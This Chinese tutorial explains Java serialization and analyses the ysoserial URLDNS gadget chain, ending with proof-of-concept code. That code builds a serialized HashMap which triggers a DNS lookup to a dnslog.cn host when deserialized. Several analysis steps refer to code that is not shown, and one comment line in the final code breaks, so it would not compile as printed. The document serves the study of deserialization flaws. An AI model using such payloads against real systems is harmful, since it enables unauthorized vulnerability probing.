序列化:把对象转化为可传输的字节序列过程称为序列化
反序列化:把字节序列还原为对象的过程称为反序列化
1.生成class类实例对象;
2.创建OutputStream对象;
3.OutputStream对象调用writeObject方法序列化类实例对象,作为类实例对象序列化后的输出流。可插入自定义数据,写入的对象放在序列化流的objectAnnotation中;
4.创建ObjectInputStream对象;
5.ObjectInputStream对象使用readObject方法对反序列化.
想要被序列化的类只需要implements Serializable接口就可以了,这个接口是一个标记接口,不包括任何方法,只要在类定义中实现该方法就可以了
但是如果想在序列化中自己定制一些操作,可以为你的类添加如下两个类:
private void writeObject(ObjectOutputStream stream) throws IOException;
private void readObject(ObjectInputStream stream)throws IOException,ClassNotFoundException;
这样在你的类序列化的时候将会调用wirteObject方法,反序列化的时候会调用readObject方法。
还有另外一个技巧,在这两个方法内部,可以调用defaultWriteObject()或者defaultReadObject()方法来执行默认的操作。
在反序列化过程中如果开发者重写了readObject方法那么Java会优先使用这个重写的方法,所以如果开发者书写不当的话就会导致命令执行
一个序列化和反序列化的例子
package serialize;
import java.io.*;
class SerializeClass implements Serializable
{
String test = "这是序列化类";
private void writeObject(ObjectOutputStream stream) throws IOException
{
System.out.println("正在执行序列化");
stream.defaultWriteObject();
stream.writeObject("This is a object");
}
private void readObject(ObjectInputStream stream) throws IOException,ClassNotFoundException
{
System.out.println("正在执行反序列化");
stream.defaultReadObject();
String message = (String) stream.readObject();
System.out.println(message);
}
public void print()
{
System.out.println(test);
}
}
public class baserialize {
public static void serialize() throws Exception
{
serialize.SerializeClass ob = new serialize.SerializeClass();
FileOutputStream fileOut = new FileOutputStream(new File("ser1.ser"));
ObjectOutputStream obOut = new ObjectOutputStream(fileOut);
obOut.writeObject(ob);
obOut.close();
fileOut.close();
}
public static void unserialize() throws Exception
{
FileInputStream fileOut = new FileInputStream("ser1.ser");
ObjectInputStream obOut = new ObjectInputStream(fileOut);
serialize.SerializeClass ob = (serialize.SerializeClass) obOut.readObject();
ob.print();
obOut.close();
fileOut.close();
}
public static void main(String[] args) throws Exception
{
serialize();
unserialize();
}
}
用SerializationDumper查看此时生成的序列化数据,可以发现,成功向stream里写入了一个字符串 This is a object 放在 objectAnnotation 的位置。如果以0xac ed开头,那么他就是这一段java序列化的16进制。
URLDNS就是ysoserial中⼀个利用链gadget chains的名字,使⽤Java内置的类构造,不需要依赖第三方的包,不限制jdk的版本,在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。
ps:下面主要参考文章
代码来源:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload
第一步是main方法中调用PayloadRunner.run(URLDNS.class, args);
根据import导包说明可以发现
该方法位于 ysoserial.payloads.util.PayloadRunner;
通过代码可以看到,run方法会通过getObject方法来获得要序列化的对象,然后将对象序列化之后返回字节序列。
所以回头看getObject方法可以发现,这个方法返回的是一个Hashmap对象,说明这个对象就是要反序列化的对象。
之前介绍时说过,反序列化会调用对象的readObject方法,所以我们直接从readObject开始分析:
前面的操作不是我们关注的点,重点在hash(key)这里,跟进去看看:
可以看到,如果key不等于null,就会调用key.hashcode方法。这时候接下来操作如何就要看hashmap中保存的key是什么了。通过getObject方法中的代码可以看到,代码中传入了一个URL对象,所以接下来就要看URL类中的hashcode方法:
通过代码可以看出,首先判断了一下对象成员hashCode是否等于-1,如果不等于-1就直接返回hashcode的值。如果等于-1则执行handler.hashCode(this);
接下来继续跟下去,看看handler是什么对象:
可以看出,handler是URLStreamHandler对象,接下来继续看一下URLStreamHandler类中hashCode方法的定义:
可以看到,这个方法调用了getHostAddress,继续跟下去:
可以看到,首先根据URL获取域名,然后根据域名来解析成IP地址。在网络上就是一次DNS解析,这就可以通过DNSLOG这种第三方平台来验证是否存在反序列化漏洞了。
分析完利用链,发现ysoserial除了必要的操作还有一些其他的代码,研究了一下发现是因为调用Put方法向hashmap中存放数据的时候,这个put方法也调用了hash(key)方法:
所以这样就会造成两次DNS解析。
于是ysoserial自己定义了一个继承自URLStreamHandler类的SilentURLStreamHandler类,并且重写了getHostAddress和openConnection方法,在初始化URL对象的时候将SilentURLStreamHandler的对象传进去。
然后在URL的构造方法中会将我们的对象赋值为this.handler。
这样在调用put方法的时候,执行到handler.hashCode(this)的时候就不会触发DNS解析。
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serialize(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field java.net.URL.handler
is transient, it will not be part of the serialized payload.
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL("http://gquhng.dnslog.cn"); // URL to use as the Key
Class cla = u.getClass();
Field fd = cla.getDeclaredField("hashCode");
fd.setAccessible(true);
fd.set(u,111);
ht.put(u,url);
fd.set(u,-1);
FileOutputStream fileOut = new FileOutputStream("URLDNS");
ObjectOutputStream obOut = new ObjectOutputStream(fileOut);
obOut.writeObject(ht);
obOut.close();
fileOut.close();
}
public static void unserialize() throws Exception
{
FileInputStream fileOut = new FileInputStream("URLDNS");
ObjectInputStream obOut = new ObjectInputStream(fileOut);
HashMap ob = (HashMap) obOut.readObject();
obOut.close();
fileOut.close();
}
public static void main(String[] args) throws Exception
{
serialize("url");
unserialize();
}
}